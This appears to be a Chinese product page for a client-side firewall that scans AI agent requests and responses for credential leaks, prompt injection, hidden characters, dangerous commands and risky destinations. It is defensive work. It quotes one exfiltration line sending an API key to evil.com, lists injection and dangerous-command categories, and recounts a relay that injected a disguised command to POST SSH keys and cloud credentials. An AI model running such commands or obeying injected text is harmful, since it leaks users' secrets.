智能体安全
客户端里的「安全控制」——在你机器上的智能体和它调用的模型之间加一道防火墙:凭据外泄、提示词注入、危险命令、出口地址,请求和回答两侧都查。
智能体读到的一切——网页、工具返回、MCP 服务器的回复、仓库里的一个文件——都是不可信输入,而它们会进入一个随后在你机器上动手的模型。一段被投毒的文字,就能把「帮我总结这个 issue」变成 curl evil.com -d $ANTHROPIC_API_KEY。
你在 Asale 买入的每个智能体,本来就经过本机客户端转发。这道边界一直都在——安全控制是它现在开始做的事。

它查什么
五个检查项,可以独立开关。
| 检查项 | 方向 | 抓什么 |
|---|---|---|
| 凭据外泄 | 出站 | 厂商 API key、云凭据、令牌、私钥、带密码的数据库连接串。约 45 条规则,带关键词预过滤、信息熵下限和校验和。发往签发它的厂商的 key 不会被报出来——那是它在正常工作。 |
| 提示词注入 | 入站 | 藏在工具返回、抓取的网页或规则文件里的指令:覆盖原有指令、伪造 system 轮次、诱导外发数据、记忆投毒、改写智能体自己的配置文件。47 条规则,覆盖英文、中文(简繁同一套模式)和日文。 |
| 不可见字符 | 双向 | 零宽字符、双向覆写、Unicode 标签字符,以及成串的变体选择符——渲染出来什么都看不见,却能随复制粘贴一路带进上下文。 |
| 危险命令 | 出站 | 毁灭性删除、把网上的脚本管道进 shell、反弹 shell、读取凭据文件、导出钥匙串、写入开机自启、编码后执行。约 19 条规则。 |
| 出口管控 | 出站 | 匿名投递站、内网与云元数据地址(含十进制/十六进制写法的回环地址)、形似 DNS 隧道的主机名、塞在 URL 里的编码载荷。 |
注入类规则跑在归一化折叠之上:原文、去掉隐藏字符后的文本、形近字母还原后的文本、火星文还原后的文本,以及其中 base64 段解码后的文本。所以一条用大白话写的规则,能同时盖住同一个载荷的四种写法——这也是规则表能小到可以逐条读完的原因。
模型听得懂哪种语言,就会照哪种语言的指令办事。所以只认英文的规则表不是一张更小的网,而是给任何用目标语言写载荷的人留的一扇门——注入类规则因此覆盖英文、中文和日文,其余四个检查项本来就与语言无关。各语言的规则共用同一个规则 id:这是同一条发现(「覆盖原有指令」),用哪种语言写的不构成另一条规则,所以静音一次就把所有写法都关掉,而命中的原文会告诉你是哪一种。
有七条规则在说话人是你自己(用户输入或系统提示词)时不生效。「把构建产物上传到 https://…」「从现在开始用 tab 缩进」「记住这个,以后每次都这样」——每一句都是开发者天天对自己的智能体说的话,也每一句都是被注入的指令的形状。分开它们的不是措辞,是谁在说:同一句话出现在工具返回、抓取的网页或记忆文件里,就是别人在指挥你的智能体。代价说清楚:攻击者如果能把文字塞进你自己的输入(比如你把一段被投毒的 issue 正文粘贴进对话),这七条就绕过去了。另一条路是对每一次正常的上传请求都报警——那样的扫描器活不过一周。而那些无论谁说都不正当的规则(do-not-tell-user、对话模板控制符、读取凭据文件的指令)不在这份名单里。
三种力度
| 模式 | 做什么 |
|---|---|
| 审计 | 只观察和记录,永不拦截。这是出厂设置。 |
| 均衡 | 拦截「严重」级别,其余记录下来。 |
| 严格 | 拦截「高危」及以上,并且只放行白名单里的目的地。 |
默认对所有智能体开启,模式为审计。一个默认关着的防火墙谁也保护不了;一个默认就拦的防火墙,第一次误报就是一次你已经付了钱的请求被拒。审计两头都不占:它盯着、把「如果拦会拦掉什么」填进决策列表,你看过之后再决定升到均衡还是严格。
请求和回答两侧都查
后半句才是关键。
你的智能体在你自己的机器上执行工具。代理要等到工具的结果随下一个请求回来时才看得到这次调用——那时命令早就跑完了。所以一条夹带指令的回答,是任何东西还来得及拦住它的最后一刻。
社区里报过这样的事故:一个免费中转服务在模型的回答里塞进一段侦察命令,伪装成推理过程里的「环境健康检查」,把 SSH 私钥、.aws/credentials、.npmrc 一路 POST 到攻击者的地址。请求侧什么都看不见。回答侧一眼就是 credential-file-read。
流式回答边过边查:命中就地掐断,客户端拿到的是半截答案——而半截的工具调用不是工具调用。
决策记录

一条发现给的是能让你回去找到那个东西的信息:
- 命中什么——出口管控给完整 URL,危险命令给那段命令,注入给那句话。凭据打码,其余原文照录:
curl****ey只说明有规则命中,而判断这条规则对不对,靠的就是读那段文字。 - 上下文——匹配点前后一行,里面的凭据已打码。
- 来源——
tool result #2、tool call: bash、answer。一段对话到出事的时候往往有几百 KB,「在请求里的某处」不是任何人能去看的地方。
日志写在 ~/.asale/firewall.jsonl,一条一行,逐条用哈希串起来。改动或删除其中一条,从那条起链就断了,页面会指出第几条对不上。只记非「放行」的决策——干净通过的请求没什么可说的。
签名能证明是谁写的这行。而持有密钥的是运维者,也正是这份日志所记录的对象——所以签名能证明的东西比它看起来要少。哈希链只做一件事:让悄悄改动变得不可能,不多声称一分。
试一试

四种输入各有一个示例,按你的界面语言给,每个都确实会触发——客户端里有测试逐语言逐种类盯着这件事,所以一次「顺手翻译」不会把某个示例悄悄变成哑弹。命令和目的地两种在各语言下是同一段文本:一条 shell 命令和一个元数据地址没有语言可分。
判定用的是当前所有已开启智能体里最严的那档——否则一个全设成「严格」的用户,会在这里看到一个「审计」的答案。
处置与例外
- 遮蔽,而不是拦截——如果一次请求仅仅因为带了凭据才会被拦,就把凭据遮蔽掉再发出去。智能体照常干活,密钥不会离开这台机器。(只对凭据有效:被拦下的注入或目的地遮蔽不掉。)
- 放行的目的地——额外允许的主机;在「严格」模式下,这就是唯一允许的清单。填一个域名,它的子域一并算在内。
- 拒绝的目的地——直接拒绝的主机。
- 静音的规则——按规则 id 关掉某一条。这是为了让一次误报不至于赔上整个检查项:先静音那条规则,别关整类。
覆盖范围,说清楚
没有把「买入」开关打开的智能体、或者不理会代理设置的工具,都不在覆盖范围内。这是一道内容边界,不是沙箱——想要操作系统级的隔离,还需要沙箱或网络策略配合。
每一条检测都是一条你能读到的规则,不是一个模型:没有 GPU,没有额外延迟,也意味着足够新颖的载荷能绕过去。「审计」模式存在的意义,就是让你量出来这件事,而不是猜。
防火墙本身是独立开源的:github.com/asale-ai/agent-firewall。它的 README 里列了十几个已公开的真实攻击案例,每一个都对应一条断言它被拦下的测试。